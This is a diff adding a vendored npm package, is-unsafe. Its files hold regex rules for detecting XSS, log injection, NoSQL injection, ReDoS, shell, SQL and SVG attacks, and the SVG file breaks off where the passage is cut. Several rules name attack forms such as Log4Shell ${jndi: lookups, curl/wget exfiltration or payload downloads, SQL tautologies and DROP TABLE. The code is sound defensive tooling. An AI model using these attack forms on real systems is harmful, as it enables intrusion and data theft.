||||
"url": "https://github.com/NaturalIntelligence/is-unsafe"
|
||||
},
|
||||
"author": "Amit Gupta (https://solothought.com/)",
|
||||
"license": "MIT",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
||||
}
|
||||
],
|
||||
"devDependencies": {
|
||||
"jasmine": "^6.3.0"
|
||||
},
|
||||
"files": [
|
||||
"src/",
|
||||
"README.md"
|
||||
]
|
||||
}
|
||||
102
node_modules/is-unsafe/src/contexts/html.js
generated
vendored
Normal file
102
node_modules/is-unsafe/src/contexts/html.js
generated
vendored
Normal file
@@ -0,0 +1,102 @@
|
||||
/**
|
||||
* HTML context patterns.
|
||||
*
|
||||
* Detects XSS vectors that are dangerous when a string ends up rendered as HTML.
|
||||
* All patterns use bounded quantifiers to ensure linear-time matching (ReDoS-safe).
|
||||
*
|
||||
* Each entry is { pattern: RegExp, id: string, description: string }
|
||||
* so callers can inspect which rule fired if they need to.
|
||||
*/
|
||||
|
||||
const HTML_PATTERNS = [
|
||||
{
|
||||
id: 'html-script-open',
|
||||
description: '<script opening tag',
|
||||
pattern: /<script[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-script-close',
|
||||
description: '</script closing tag',
|
||||
pattern: /<\/script[\s>]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-javascript-protocol',
|
||||
description: 'javascript: URI scheme (with optional whitespace/encoding)',
|
||||
// Handles javascript:, j\u0061vascript:, and whitespace variants
|
||||
pattern: /j[\t\n\r ]*a[\t\n\r ]*v[\t\n\r ]*a[\t\n\r ]*s[\t\n\r ]*c[\t\n\r ]*r[\t\n\r ]*i[\t\n\r ]*p[\t\n\r ]*t[\t\n\r ]*:/i,
|
||||
},
|
||||
{
|
||||
id: 'html-vbscript-protocol',
|
||||
description: 'vbscript: URI scheme',
|
||||
pattern: /vbscript[\t\n\r ]*:/i,
|
||||
},
|
||||
{
|
||||
id: 'html-data-html',
|
||||
description: 'data:text/html URI — can execute scripts in browsers',
|
||||
pattern: /data[\t\n\r ]*:[\t\n\r ]*text\/html/i,
|
||||
},
|
||||
{
|
||||
id: 'html-data-xhtml',
|
||||
description: 'data:application/xhtml+xml URI',
|
||||
pattern: /data[\t\n\r ]*:[\t\n\r ]*application\/xhtml/i,
|
||||
},
|
||||
{
|
||||
id: 'html-data-svg',
|
||||
description: 'data:image/svg+xml URI — can execute scripts',
|
||||
pattern: /data[\t\n\r ]*:[\t\n\r ]*image\/svg\+xml/i,
|
||||
},
|
||||
{
|
||||
id: 'html-inline-event-handler',
|
||||
description: 'Inline event handler attributes: onclick=, onerror=, onload=, etc.',
|
||||
// \bon ensures we match a word boundary so "phonetic=" is not caught
|
||||
pattern: /\bon\w{1,30}\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'html-entity-obfuscated-script',
|
||||
description: 'HTML-entity-encoded <script (e.g. <script or <script)',
|
||||
// Entities include optional trailing semicolon: < or < (both valid in HTML5)
|
||||
pattern: /(?:�*3[Cc];?|�*60;?|<)\s*script/i,
|
||||
},
|
||||
{
|
||||
id: 'html-entity-obfuscated-javascript',
|
||||
description: 'HTML-entity-encoded javascript: (partial — catches common j or j for "j")',
|
||||
pattern: /(?:�*6[Aa];?|�*106;?)\s*(?:�*61;?|a)[\s\S]{0,80}script\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'html-style-expression',
|
||||
description: 'CSS expression() — IE-era code execution in style attributes',
|
||||
pattern: /style[\s\S]{0,20}expression\s*\(/i,
|
||||
},
|
||||
{
|
||||
id: 'html-object-embed',
|
||||
description: '<object or <embed tags that can load active content',
|
||||
pattern: /<(?:object|embed)[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-base-tag',
|
||||
description: '<base href= — can hijack all relative URLs on a page',
|
||||
pattern: /<base[\s>]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-meta-refresh',
|
||||
description: '<meta http-equiv="refresh" — can redirect users',
|
||||
pattern: /<meta[\s\S]{0,40}http-equiv[\s\S]{0,20}refresh/i,
|
||||
},
|
||||
{
|
||||
id: 'html-srcdoc',
|
||||
description: 'srcdoc= attribute on iframes — embeds HTML that can run scripts',
|
||||
pattern: /srcdoc\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'html-iframe',
|
||||
description: '<iframe tag',
|
||||
pattern: /<iframe[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-form',
|
||||
description: '<form tag — can be used for phishing / credential harvesting injection',
|
||||
pattern: /<form[\s>/]/i,
|
||||
},
|
||||
];
|
||||
|
||||
export default HTML_PATTERNS;
|
||||
98
node_modules/is-unsafe/src/contexts/log.js
generated
vendored
Normal file
98
node_modules/is-unsafe/src/contexts/log.js
generated
vendored
Normal file
@@ -0,0 +1,98 @@
|
||||
/**
|
||||
* LOG context patterns.
|
||||
*
|
||||
* Detects injection vectors that are dangerous when a string is written
|
||||
* to a log file, passed to a logging framework, or interpolated into
|
||||
* a log message that will be parsed or displayed.
|
||||
*
|
||||
* Attack categories:
|
||||
* 1. CRLF injection — injects fake log lines by embedding newlines
|
||||
* 2. Log4Shell (CVE-2021-44228) — ${jndi:...} triggers JNDI lookup in Log4j
|
||||
* 3. SSTI in log templates — {{...}}, #{...} trigger template evaluation
|
||||
* if the log message is passed through a template engine
|
||||
* 4. Null byte injection — truncates log entries in some implementations
|
||||
* 5. ANSI escape injection — manipulates terminal output when logs are
|
||||
* tailed in a terminal (colour codes, cursor movement, etc.)
|
||||
*
|
||||
* Note: Newline characters (\n, \r) will produce false positives for
|
||||
* multi-line legitimate values. Use this context only for single-line
|
||||
* log field values (usernames, IDs, request parameters, etc.).
|
||||
*/
|
||||
|
||||
const LOG_PATTERNS = [
|
||||
// ─── CRLF / newline injection ─────────────────────────────────────────────
|
||||
{
|
||||
id: 'log-crlf-injection',
|
||||
description: 'CRLF injection: literal \\r or \\n embeds fake log lines',
|
||||
pattern: /[\r\n]/,
|
||||
},
|
||||
{
|
||||
id: 'log-url-encoded-crlf',
|
||||
description: 'URL-encoded CRLF: %0d, %0a, %0D, %0A — decoded by some log parsers',
|
||||
pattern: /%0[dDaA]/,
|
||||
},
|
||||
{
|
||||
id: 'log-unicode-newline',
|
||||
description: 'Unicode newline variants: U+2028 (line separator), U+2029 (paragraph separator)',
|
||||
pattern: /[\u2028\u2029]/,
|
||||
},
|
||||
|
||||
// ─── Log4Shell / JNDI injection (CVE-2021-44228) ─────────────────────────
|
||||
{
|
||||
id: 'log-log4shell-jndi',
|
||||
description: 'Log4Shell: ${jndi:...} triggers remote code execution in Apache Log4j',
|
||||
pattern: /\$\{jndi\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'log-log4shell-obfuscated',
|
||||
description: 'Obfuscated Log4Shell: ${::-j}... lookup-bypass prefix used to evade WAF detection',
|
||||
// ${::- is the Log4j lookup-bypass escape sequence; presence alone is suspicious
|
||||
pattern: /\$\{::-/,
|
||||
},
|
||||
{
|
||||
id: 'log-log4j-lookup',
|
||||
description: 'Log4j lookup syntax: ${env:...}, ${sys:...}, ${ctx:...} — data exfiltration',
|
||||
pattern: /\$\{(?:env|sys|ctx|main|map|sd|web|docker|k8s|spring)\s*:/i,
|
||||
},
|
||||
|
||||
// ─── Server-Side Template Injection (SSTI) in log messages ───────────────
|
||||
{
|
||||
id: 'log-ssti-double-brace',
|
||||
description: 'SSTI double-brace: {{expression}} — Jinja2, Twig, Handlebars, etc.',
|
||||
pattern: /\{\{[\s\S]{0,80}\}\}/,
|
||||
},
|
||||
{
|
||||
id: 'log-ssti-hash-brace',
|
||||
description: 'SSTI hash-brace: #{expression} — Thymeleaf, Velocity, Ruby ERB',
|
||||
pattern: /#\{[\s\S]{0,80}\}/,
|
||||
},
|
||||
{
|
||||
id: 'log-ssti-dollar-brace',
|
||||
description: 'SSTI/EL injection: ${expression with operators or method calls} — JSP EL, Freemarker, SpEL',
|
||||
// Require that the ${...} content looks like an expression, not a plain variable name.
|
||||
// Flags if the content contains: . ( * + operators, or known SSTI keywords.
|
||||
// This avoids flagging ${PATH}, ${HOME} etc. (plain shell variables).
|
||||
pattern: /\$\{[^}]*(?:\.|\(|\*|\+|\bclass\b|\bruntime\b|\bprocess\b|\bexec\b)[^}]{0,80}\}/i,
|
||||
},
|
||||
{
|
||||
id: 'log-ssti-percent-tag',
|
||||
description: 'SSTI ERB/ASP tag: <%= expression %> — Ruby ERB, ASP',
|
||||
pattern: /<%=[\s\S]{0,80}%>/,
|
||||
},
|
||||
|
||||
// ─── Null byte ────────────────────────────────────────────────────────────
|
||||
{
|
||||
id: 'log-null-byte',
|
||||
description: 'Null byte: \\x00 or %00 — can truncate log entries in C-backed loggers',
|
||||
pattern: /\x00|%00/,
|
||||
},
|
||||
|
||||
// ─── ANSI escape injection ────────────────────────────────────────────────
|
||||
{
|
||||
id: 'log-ansi-escape',
|
||||
description: 'ANSI escape sequence: ESC[ — can manipulate terminal output when logs are tailed',
|
||||
pattern: /\x1b\[/,
|
||||
},
|
||||
];
|
||||
|
||||
export default LOG_PATTERNS;
|
||||
114
node_modules/is-unsafe/src/contexts/nosql.js
generated
vendored
Normal file
114
node_modules/is-unsafe/src/contexts/nosql.js
generated
vendored
Normal file
@@ -0,0 +1,114 @@
|
||||
/**
|
||||
* NOSQL context patterns.
|
||||
*
|
||||
* Detects injection vectors specific to NoSQL databases (primarily MongoDB)
|
||||
* and JavaScript-evaluated queries.
|
||||
*
|
||||
* Attack categories:
|
||||
* 1. MongoDB query operator injection: $where, $ne, $gt, $regex, $or, $and, etc.
|
||||
* These operators, when injected into a JSON query object, can bypass
|
||||
* authentication or exfiltrate data without knowing passwords.
|
||||
*
|
||||
* 2. JavaScript execution: $where clauses execute arbitrary JS server-side.
|
||||
*
|
||||
* 3. Prototype pollution: __proto__, constructor.prototype — can corrupt
|
||||
* the prototype chain of all objects in the Node.js process.
|
||||
*
|
||||
* Pattern note: MongoDB operators appear as JSON keys. In JSON, keys are
|
||||
* quoted: {"$where": ...} so the pattern must allow an optional closing
|
||||
* quote between the operator name and the colon: /\$where["'\s]*:/
|
||||
*/
|
||||
|
||||
// Shared suffix: optional closing quote/whitespace before the colon
|
||||
// Handles: $op: (bare), "$op": (JSON), '$op': (single-quoted)
|
||||
const SEP = /["'\s]*:/;
|
||||
const sep = '["\'\\s]*:';
|
||||
|
||||
const NOSQL_PATTERNS = [
|
||||
// ─── MongoDB $ operator injection ────────────────────────────────────────
|
||||
{
|
||||
id: 'nosql-where-operator',
|
||||
description: '$where — executes arbitrary JavaScript server-side in MongoDB',
|
||||
pattern: new RegExp(`\\$where${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-ne-operator',
|
||||
description: '$ne — "not equal" operator used to bypass equality checks',
|
||||
pattern: new RegExp(`\\$ne${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-gt-operator',
|
||||
description: '$gt — "greater than" used to bypass password/value checks',
|
||||
pattern: new RegExp(`\\$gte?${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-lt-operator',
|
||||
description: '$lt / $lte — "less than" bypass variants',
|
||||
pattern: new RegExp(`\\$lte?${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-regex-operator',
|
||||
description: '$regex — can be used to extract data character by character (blind injection)',
|
||||
pattern: new RegExp(`\\$regex${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-or-operator',
|
||||
description: '$or — logical OR; used to create always-true conditions',
|
||||
pattern: new RegExp(`\\$or${sep}\\s*\\[`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-and-operator',
|
||||
description: '$and — logical AND operator injection',
|
||||
pattern: new RegExp(`\\$and${sep}\\s*\\[`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-nor-operator',
|
||||
description: '$nor — logical NOR operator injection',
|
||||
pattern: new RegExp(`\\$nor${sep}\\s*\\[`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-exists-operator',
|
||||
description: '$exists — can enumerate fields to determine schema',
|
||||
pattern: new RegExp(`\\$exists${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-in-operator',
|
||||
description: '$in — matches any value in a list; can enumerate values',
|
||||
pattern: new RegExp(`\\$in${sep}\\s*\\[`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-expr-operator',
|
||||
description: '$expr — allows aggregation expressions in queries (MongoDB 3.6+)',
|
||||
pattern: new RegExp(`\\$expr${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-function-operator',
|
||||
description: '$function — executes arbitrary JavaScript in MongoDB 4.4+',
|
||||
pattern: new RegExp(`\\$function${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-accumulator-operator',
|
||||
description: '$accumulator — custom aggregation with arbitrary JS execution',
|
||||
pattern: new RegExp(`\\$accumulator${sep}`, 'i'),
|
||||
},
|
||||
// ─── Prototype pollution ─────────────────────────────────────────────────
|
||||
{
|
||||
id: 'nosql-proto-pollution',
|
||||
description: '__proto__ — prototype pollution via object key injection',
|
||||
pattern: /__proto__/,
|
||||
},
|
||||
{
|
||||
id: 'nosql-constructor-prototype',
|
||||
description: 'constructor.prototype — alternative prototype pollution vector (dot notation or JSON key)',
|
||||
// Matches dot-notation (obj.constructor.prototype) and JSON key adjacency
|
||||
// ("constructor": {"prototype": ...})
|
||||
pattern: /constructor[\s"':.,{\[]*prototype/i,
|
||||
},
|
||||
{
|
||||
id: 'nosql-proto-bracket',
|
||||
description: '["__proto__"] — bracket-notation prototype pollution',
|
||||
pattern: /\[["']__proto__["']\]/,
|
||||
},
|
||||
];
|
||||
|
||||
export default NOSQL_PATTERNS;
|
||||
60
node_modules/is-unsafe/src/contexts/redos.js
generated
vendored
Normal file
60
node_modules/is-unsafe/src/contexts/redos.js
generated
vendored
Normal file
@@ -0,0 +1,60 @@
|
||||
/**
|
||||
* REDOS context patterns.
|
||||
*
|
||||
* Detects strings that, if used as regular expressions, could cause
|
||||
* catastrophic backtracking (ReDoS — Regular Expression Denial of Service).
|
||||
*
|
||||
* These patterns detect the structural forms that lead to exponential or
|
||||
* polynomial backtracking in NFA-based regex engines (V8, PCRE, Java, etc.).
|
||||
*
|
||||
* Use this context when user-supplied strings will be compiled into RegExp objects.
|
||||
*/
|
||||
|
||||
const REDOS_PATTERNS = [
|
||||
{
|
||||
id: 'redos-nested-quantifier-plus',
|
||||
description: 'Nested + quantifier inside a group with outer quantifier: (a+)+, (.+b)*, etc.',
|
||||
// Matches any group containing a + quantifier, with an outer * or + — catches (a+)+, (.+b)*, etc.
|
||||
pattern: /\([^)]*\+[^)]*\)[+*]/,
|
||||
},
|
||||
{
|
||||
id: 'redos-nested-quantifier-star',
|
||||
description: 'Nested * quantifier: (a*)* or (a*)+ — catastrophic backtracking',
|
||||
pattern: /\([^)]*\*[^)]*\)[*+]/,
|
||||
},
|
||||
{
|
||||
id: 'redos-nested-groups',
|
||||
description: 'Doubly nested quantified groups: ((a+)+) — guaranteed catastrophic',
|
||||
pattern: /\(\([^)]{0,40}\)[+*]\)[+*]/,
|
||||
},
|
||||
{
|
||||
id: 'redos-alternation-overlap',
|
||||
description: 'Overlapping alternation under quantifier: (a|a)+ — ambiguous NFA paths',
|
||||
// Detect repeated identical alternatives under a quantifier
|
||||
pattern: /\(([^|()]{1,20})\|(?:\1)(?:\|[^|()]{1,20}){0,5}\)[+*?]{1,2}/,
|
||||
},
|
||||
{
|
||||
id: 'redos-star-plus-concat',
|
||||
description: '(x*x)+ pattern — triggers super-linear backtracking',
|
||||
pattern: /\([^)]{0,10}\*[^)]{0,10}\)[+*]/,
|
||||
},
|
||||
{
|
||||
id: 'redos-dot-star-greedy',
|
||||
description: '(.*){n,} or (.+){n,} — repeated greedy dot quantifiers',
|
||||
pattern: /\(\.[*+]\)\{?\d/,
|
||||
},
|
||||
{
|
||||
id: 'redos-large-repetition',
|
||||
description: 'Very large fixed or range repetition count {1000,} or {1000,n} — denial of service via backtracking',
|
||||
// Matches { followed by 4+ digits (≥1000), then optional ,digits }
|
||||
pattern: /\{\d{4,}(?:,\d*)?\}/,
|
||||
},
|
||||
{
|
||||
id: 'redos-catastrophic-alternation',
|
||||
description: 'Long alternation with many similar branches — polynomial backtracking risk',
|
||||
// Heuristic: 10+ pipe-separated alternatives in a single group
|
||||
pattern: /\([^)]{0,200}(?:\|[^|)]{0,50}){9,}\)/,
|
||||
},
|
||||
];
|
||||
|
||||
export default REDOS_PATTERNS;
|
||||
105
node_modules/is-unsafe/src/contexts/shell.js
generated
vendored
Normal file
105
node_modules/is-unsafe/src/contexts/shell.js
generated
vendored
Normal file
@@ -0,0 +1,105 @@
|
||||
/**
|
||||
* SHELL context patterns.
|
||||
*
|
||||
* Detects shell injection vectors and path traversal patterns.
|
||||
* Designed for use when a string will be passed to a shell command,
|
||||
* used as a file path, or interpolated into OS-level operations.
|
||||
*/
|
||||
|
||||
const SHELL_PATTERNS = [
|
||||
{
|
||||
id: 'shell-path-traversal-unix',
|
||||
description: 'Unix path traversal: ../ — climbing the directory tree',
|
||||
pattern: /\.\.\//,
|
||||
},
|
||||
{
|
||||
id: 'shell-path-traversal-windows',
|
||||
description: 'Windows path traversal: ..\\ — climbing the directory tree',
|
||||
pattern: /\.\.\\/,
|
||||
},
|
||||
{
|
||||
id: 'shell-path-traversal-encoded',
|
||||
description: 'URL-encoded path traversal: %2e%2e or %2f variants',
|
||||
pattern: /%2e%2e|%2f\.\.|\.\.%2f/i,
|
||||
},
|
||||
{
|
||||
id: 'shell-null-byte',
|
||||
description: 'Null byte injection: \\x00 or %00 — truncates strings in C-backed functions',
|
||||
pattern: /\x00|%00/,
|
||||
},
|
||||
{
|
||||
id: 'shell-semicolon',
|
||||
description: 'Semicolon command separator: cmd1; cmd2',
|
||||
pattern: /;/,
|
||||
},
|
||||
{
|
||||
id: 'shell-pipe',
|
||||
description: 'Pipe operator: cmd1 | cmd2',
|
||||
pattern: /\|/,
|
||||
},
|
||||
{
|
||||
id: 'shell-and-operator',
|
||||
description: 'AND operator: cmd1 && cmd2',
|
||||
pattern: /&&/,
|
||||
},
|
||||
{
|
||||
id: 'shell-or-operator',
|
||||
description: 'OR operator: cmd1 || cmd2',
|
||||
pattern: /\|\|/,
|
||||
},
|
||||
{
|
||||
id: 'shell-backtick',
|
||||
description: 'Backtick command substitution: `cmd`',
|
||||
pattern: /`/,
|
||||
},
|
||||
{
|
||||
id: 'shell-dollar-paren',
|
||||
description: 'Dollar-paren command substitution: $(cmd)',
|
||||
pattern: /\$\(/,
|
||||
},
|
||||
{
|
||||
id: 'shell-dollar-brace',
|
||||
description: 'Dollar-brace variable expansion: ${var} — can be abused for injection',
|
||||
pattern: /\$\{/,
|
||||
},
|
||||
{
|
||||
id: 'shell-redirect-out',
|
||||
description: 'Output redirection: cmd > file or cmd >> file',
|
||||
pattern: />{1,2}/,
|
||||
},
|
||||
{
|
||||
id: 'shell-redirect-in',
|
||||
description: 'Input redirection: cmd < file',
|
||||
pattern: /</,
|
||||
},
|
||||
{
|
||||
id: 'shell-newline-injection',
|
||||
description: 'Newline injection: \\n or \\r — can inject new shell commands',
|
||||
pattern: /[\n\r]/,
|
||||
},
|
||||
{
|
||||
id: 'shell-glob-star',
|
||||
description: 'Glob expansion: * or ? — can expand to unintended files',
|
||||
// Only flag when combined with path separators to reduce false positives
|
||||
pattern: /[/\\][*?]/,
|
||||
},
|
||||
{
|
||||
id: 'shell-absolute-root',
|
||||
description: 'Absolute root path injection: string starting with / or \\ (Windows UNC)',
|
||||
pattern: /^(?:\/|\\\\)/,
|
||||
},
|
||||
{
|
||||
id: 'shell-windows-drive',
|
||||
description: 'Windows drive letter path injection: C:\\ or D:/',
|
||||
pattern: /^[a-zA-Z]:[/\\]/,
|
||||
},
|
||||
{
|
||||
id: 'shell-curl-wget',
|
||||
description: 'curl/wget with URL or flags — can exfiltrate data or download payloads',
|
||||
// Require a URL scheme (http/https/ftp) or a flag (-) to reduce false positives
|
||||
// "curl is a tool" won't match; "curl http://..." or "curl -s ..." will
|
||||
pattern: /\b(?:curl|wget)\s+(?:https?:\/\/|ftp:\/\/|-)/i,
|
||||
},
|
||||
];
|
||||
|
||||
export default SHELL_PATTERNS;
|
||||
47
node_modules/is-unsafe/src/contexts/sql-strict.js
generated
vendored
Normal file
47
node_modules/is-unsafe/src/contexts/sql-strict.js
generated
vendored
Normal file
@@ -0,0 +1,47 @@
|
||||
/**
|
||||
* SQL-STRICT context patterns.
|
||||
*
|
||||
* Extends the base 'SQL' context with three additional rules that are
|
||||
* effective at detecting real injections but carry a higher false-positive
|
||||
* risk on general free-text input.
|
||||
*
|
||||
* Use 'SQL-STRICT' when:
|
||||
* - The string is specifically a SQL fragment or database identifier
|
||||
* - You control the input domain (e.g. a dedicated SQL search field)
|
||||
* - You can tolerate occasional false positives in exchange for broader coverage
|
||||
*
|
||||
* Use 'SQL' (not STRICT) when:
|
||||
* - The field is general user text (names, descriptions, comments)
|
||||
* - False positives would block legitimate content (e.g. "see note -- above")
|
||||
*
|
||||
* Rules moved here from 'SQL' due to false-positive risk:
|
||||
*
|
||||
* sql-line-comment — "--" fires on "see note -- above", "value--", CSS var(--primary)
|
||||
* sql-stacked-query — "; SELECT" fires on legitimate prose with semicolons + SQL words
|
||||
* sql-hex-encoding — "0xDEAD" fires on hex values in technical docs and log output
|
||||
*/
|
||||
|
||||
import SQL_PATTERNS from './sql.js';
|
||||
|
||||
const SQL_STRICT_EXTRA = [
|
||||
{
|
||||
id: 'sql-line-comment',
|
||||
description: 'SQL line comment: -- followed by whitespace or end of string',
|
||||
pattern: /--(?:\s|$)/,
|
||||
},
|
||||
{
|
||||
id: 'sql-stacked-query',
|
||||
description: 'Stacked queries: semicolon immediately followed by a SQL keyword',
|
||||
pattern: /;\s{0,10}(?:SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC)\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-hex-encoding',
|
||||
description: 'Hex-encoded string injection: 0x41414141 style (MySQL)',
|
||||
pattern: /\b0x[0-9a-f]{4,}/i,
|
||||
},
|
||||
];
|
||||
|
||||
// SQL-STRICT = all base SQL rules + the three noisy extras
|
||||
const SQL_STRICT_PATTERNS = [...SQL_PATTERNS, ...SQL_STRICT_EXTRA];
|
||||
|
||||
export default SQL_STRICT_PATTERNS;
|
||||
95
node_modules/is-unsafe/src/contexts/sql.js
generated
vendored
Normal file
95
node_modules/is-unsafe/src/contexts/sql.js
generated
vendored
Normal file
@@ -0,0 +1,95 @@
|
||||
/**
|
||||
* SQL context patterns — high-precision rules only.
|
||||
*
|
||||
* These rules have very low false-positive risk and are safe to apply to
|
||||
* general user text (names, descriptions, search queries, etc.).
|
||||
* All patterns are ReDoS-safe — unlike the `sql-injection` npm package
|
||||
* which has an active CVE on its own detection regexes.
|
||||
*
|
||||
* For exhaustive coverage including noisier heuristics (comment sequences,
|
||||
* hex literals, stacked queries with semicolons), use 'SQL-STRICT' instead.
|
||||
* Apply 'SQL-STRICT' only to strings that are specifically SQL fragments,
|
||||
* not to general free-text fields.
|
||||
*/
|
||||
|
||||
const SQL_PATTERNS = [
|
||||
{
|
||||
id: 'sql-block-comment-open',
|
||||
description: 'SQL block comment open: /* ... */ — unusual in legitimate user text',
|
||||
pattern: /\/\*/,
|
||||
},
|
||||
{
|
||||
id: 'sql-union-select',
|
||||
description: 'UNION SELECT — most common SQL injection aggregation attack',
|
||||
pattern: /\bUNION\s{1,20}(?:ALL\s{1,20})?SELECT\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-drop-table',
|
||||
description: 'DROP TABLE — destructive DDL injection',
|
||||
pattern: /\bDROP\s{1,20}TABLE\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-drop-database',
|
||||
description: 'DROP DATABASE — destructive DDL injection',
|
||||
pattern: /\bDROP\s{1,20}DATABASE\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-insert-into',
|
||||
description: 'INSERT INTO — data injection',
|
||||
pattern: /\bINSERT\s{1,20}INTO\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-delete-from',
|
||||
description: 'DELETE FROM — data deletion injection',
|
||||
pattern: /\bDELETE\s{1,20}FROM\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-update-set',
|
||||
description: 'UPDATE ... SET — data modification injection',
|
||||
// Allows arbitrary content between UPDATE and SET (table name, alias, etc.)
|
||||
pattern: /\bUPDATE\b[\s\S]{1,60}\bSET\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-exec-xp',
|
||||
description: 'EXEC xp_ — MSSQL extended stored procedure execution',
|
||||
pattern: /\bEXEC(?:UTE)?\s{1,20}xp_/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-tautology-string',
|
||||
description: "Classic string tautology: ' OR '1'='1 or \" OR \"1\"=\"1\"",
|
||||
// Last quote is optional — injection may truncate it: ' OR '1'='1--
|
||||
pattern: /'\s{0,10}OR\s{0,10}'[^']{0,20}'\s*=\s*'[^']{0,20}/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-tautology-numeric',
|
||||
description: 'Numeric tautology: OR 1=1',
|
||||
pattern: /\bOR\s{1,10}1\s*=\s*1\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-always-true-zero',
|
||||
description: 'Numeric tautology: OR 0=0',
|
||||
pattern: /\bOR\s{1,10}0\s*=\s*0\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-sleep-benchmark',
|
||||
description: 'Time-based blind injection: SLEEP() or BENCHMARK()',
|
||||
pattern: /\b(?:SLEEP|BENCHMARK)\s*\(/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-waitfor-delay',
|
||||
description: 'MSSQL time-based blind injection: WAITFOR DELAY',
|
||||
pattern: /\bWAITFOR\s{1,20}DELAY\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-char-function',
|
||||
description: 'CHAR() function — used to obfuscate injected strings',
|
||||
pattern: /\bCHAR\s*\(\s*\d{1,3}/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-information-schema',
|
||||
description: 'INFORMATION_SCHEMA — reconnaissance query for table/column enumeration',
|
||||
pattern: /\bINFORMATION_SCHEMA\b/i,
|
||||
},
|
||||
];
|
||||
|
||||
export default SQL_PATTERNS;
|
||||
81
node_modules/is-unsafe/src/contexts/svg.js
generated
vendored
Normal file
81
node_modules/is-unsafe/src/contexts/svg.js
generated
vendored
Normal file
@@ -0,0 +1,81 @@
|
||||
/**
|
||||
* SVG context patterns.
|
||||
*
|
||||
* SVG is XML-based but renders in browsers, giving it a unique attack surface
|
||||
* that combines XML parser behaviour with browser rendering and JavaScript execution.
|
||||
*
|
||||
* Many of these vectors bypass HTML sanitizers that don't understand SVG semantics
|
||||
* (DOMPurify has documented bypass vulnerabilities specifically in SVG/XML context).
|
||||
*/
|
||||
|
||||
const SVG_PATTERNS = [
|
||||
{
|
||||
id: 'svg-script-element',
|
||||
description: '<script element inside SVG executes JavaScript',
|
||||
pattern: /<script[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-xlink-href-javascript',
|
||||
description: 'xlink:href with javascript: — classic SVG XSS via <a> or <use>',
|
||||
pattern: /xlink\s*:\s*href\s*=\s*["']?\s*javascript\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-href-javascript',
|
||||
description: 'href= with javascript: in SVG context (<a>, <animate>, etc.)',
|
||||
pattern: /href\s*=\s*["']?\s*javascript\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-foreignobject',
|
||||
description: '<foreignObject embeds HTML inside SVG — can execute scripts',
|
||||
pattern: /<foreignObject[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-use-external',
|
||||
description: '<use xlink:href or href pointing to external resource (non-fragment URL)',
|
||||
// Match <use with href= where the value starts with a non-# character (external URL)
|
||||
// [\"'][^#] catches quoted values not starting with #; [^\"'#\s>] catches unquoted
|
||||
pattern: /<use[\s\S]{0,60}(?:xlink\s*:\s*)?href\s*=\s*(?:["'][^#]|[^"'#\s>])/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-animate-href',
|
||||
description: '<animate attributeName="href" — can dynamically change href to javascript:',
|
||||
pattern: /<animate[\s\S]{0,80}attributeName\s*=\s*["'][\s]*href["']/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-animate-xlinkhref',
|
||||
description: '<animate attributeName="xlink:href"',
|
||||
pattern: /<animate[\s\S]{0,80}attributeName\s*=\s*["'][\s]*xlink\s*:\s*href["']/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-set-javascript',
|
||||
description: '<set to="javascript:..." — sets an attribute to a javascript: URI',
|
||||
pattern: /<set[\s\S]{0,80}to\s*=\s*["']?\s*javascript\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-event-handler',
|
||||
description: 'SVG-specific event handler attributes: onload=, onerror=, onactivate=, etc.',
|
||||
pattern: /\bon(?:load|error|activate|begin|end|repeat|focus|blur|click|mouse\w{1,20}|key\w{1,20})\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-handler-generic',
|
||||
description: 'Generic on* handler catch-all for SVG attributes',
|
||||
pattern: /\bon\w{1,30}\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-filter-feimage',
|
||||
description: '<feImage href= — filter primitive that can load external resources',
|
||||
pattern: /<feImage[\s\S]{0,80}(?:xlink\s*:\s*)?href\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-image-external',
|
||||
